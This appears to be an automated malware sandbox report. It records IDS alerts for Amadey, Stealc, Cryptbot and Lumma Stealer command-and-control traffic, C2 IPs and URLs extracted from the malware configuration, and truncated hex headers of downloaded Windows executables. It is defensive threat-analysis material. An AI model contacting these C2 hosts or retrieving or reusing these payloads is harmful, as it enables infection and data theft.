Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.11.20:49751 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.11.20:49752
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.11.20:49754 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.11.20:49762 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.11.20:49764 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.11.20:49768 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.11.20:49758 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.11.20:49773 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.11.20:49776 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.11.20:49780 -> 34.159.64.221:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.11.20:49784 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.11.20:49783 -> 34.159.64.221:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.11.20:49831 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.11.20:49830 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.11.20:49829 -> 34.159.64.221:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.11.20:49777 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.11.20:50136 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.11.20:49772 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.11.20:49772 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.11.20:49782 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.11.20:49775 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.11.20:49775 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.11.20:49778 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.11.20:49782 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.11.20:49889 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.11.20:49889 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.11.20:49838 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.11.20:49892 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.11.20:49787 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.11.20:49787 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.11.20:49846 -> 172.67.165.166:443

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe

Network Connect: 51.195.138.197 10343

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	IPs: 92.63.197.221
Source: Malware configuration extractor	IPs: 92.63.197.221
Source: Malware configuration extractor	IPs: 92.63.197.221
Source: Malware configuration extractor	IPs: 92.63.197.221
Source: Malware configuration extractor	IPs: 185.215.113.43
Source: Malware configuration extractor	URLs: home.fvtekx5pt.top
Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: https://atten-supporse.biz/api

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1

Source: global traffic

TCP traffic: 192.168.11.20:49756 -> 51.195.138.197:10343

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 02 Dec 2024 10:20:06 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 02 Dec 2024 10:20:34 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 02 Dec 2024 10:20:37 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 02 Dec 2024 10:20:39 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 02 Dec 2024 10:20:40 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 02 Dec 2024 10:20:45 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 